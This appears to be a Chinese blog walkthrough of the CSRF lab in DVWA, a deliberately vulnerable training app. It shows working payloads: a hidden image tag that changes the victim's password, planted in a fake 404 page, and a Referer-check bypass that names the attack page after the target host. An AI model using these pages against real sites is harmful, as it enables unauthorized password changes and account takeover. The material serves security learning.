0%

DVWA通关指南-CSRF(跨站请求伪造)

说明

  • 承接上文DVWA通关指南-Command-Injection(命令注入),本文对Cross Site Request Forgery (CSRF)(跨站请求伪造)进行实践
  • 一般来说,攻击者通过伪造用户的浏览器的请求,向访问一个用户自己曾经认证访问过的网站发送出去,使目标网站接收并误以为是用户的真实操作而去执行命令
  • 本次功能是对登录密码进行修改,修改后请用新密码登录DVWA

安全等级为LOW

源码分析

image-20220207151219460

抓包查看,直接就是get请求,没有任何防护,如token验证

image-20220207154001441

开始攻击

我们使用Burpsuite中的PoC检测CSRF

  • 拦截到请求后,点击行动-相关工具-CSRF PoC生成

image-20220207153930211

  • 点击 在浏览器中测试

image-20220207154417669

  • Burpsuite会自动创建一个站点,复制 URL

image-20220207154442878

image-20220207160513370

  • 提交后,自动跳转url其实是修改密码的url,查看到提示密码修改成功,用新密码123456登录成功

image-20220207160801912

我们可以伪装恶意代码

  • 我们将构造的恶意链接伪装,放入index.html中
  • 打开我的服务器中的httpd中的dvwa目录下,新建index.html
1
2
3
4
5
6
7
8
[root@VM-24-13-centos DVWA-2.0.1]# pwd
/var/www/html/DVWA-2.0.1
[root@VM-24-13-centos DVWA-2.0.1]# vi index.html


<img src="http://xxx.xxx.xxx.xx/DVWA-2.0.1/vulnerabilities/csrf/?password_new=1234567&password_conf=1234567&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>resource not found.<h2>
  • 重启服务器
1
2
3
[root@VM-24-13-centos DVWA-2.0.1]# service httpd restart
Redirecting to /bin/systemctl restart httpd.service

  • 访问刚刚编辑的index.html,查看请求发现发起 了修改密码

image-20220207170837412

安全等级为:medium

分析源码

Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名),希望通过这种机制抵御CSRF攻击。

image-20220207171945510

使用安全等级为Low访问index.html的方式时,发送修改密码的请求,一直加载中最后响应302后,自动发送登录请求

image-20220207172258697

开始攻击

  • 漏洞利用过滤规则是http包头的Referer参数的值中必须包含主机名(这里是我服务器的ip)我们可以将攻击页面命名为XX.XX.XX.XX.php(XX是服务器的host,页面被放置在攻击者的服务器里)就可以绕过了
  • 准备php文件,把密码修改成12345678
1
2
3
4
5
6
7
8
9
10
11
12

[root@VM-24-13-centos DVWA-2.0.1]# pwd
/var/www/html/DVWA-2.0.1

[root@VM-24-13-centos DVWA-2.0.1]# vi XX.XX.XX.XX.php

<img src="http://XX.XX.XX.XX/DVWA-2.0.1/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>resource not found.<h2>

[root@VM-24-13-centos DVWA-2.0.1]# systemctl restart httpd

  • 访问刚刚新增的host.php文件,发现修改密码修改成功了(用12345678登录成功),请求头部加入了Referer

image-20220207174637976

安全等级为Hight

修改密码查看请求看下区别

image-20220208090610360

源码分析

High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

image-20220208090125335

开始攻击

客户端访问攻击页面->攻击页面获取修改密码页面的token->将token和密码作为参数一起提交,攻击页面获取修改密码页面的token这一步属于跨域请求,浏览器已经禁止这么做了,所以想要完整这个操作,有两个思路:

  • 第一, 将该js上传到服务器的目录下,这样就是同一个域了,不过如果可以这样,为啥不放木马呢?
  • 第二, 利用xss,xss可以执行代码,获取token,xss更现实一点,但是也得需要该网站存在xss,所以单纯从这个修改密码页面,无法突破High漏洞,本此不坐实际,等到时候学到xss时,反过来再做实际

安全等级为impossible

这里让输入原密码,不清楚原密码的情况下,就无法进行CSRF攻击。

结合业务设计,修改密码必须提供原密码,保障安全。

image-20220208091727056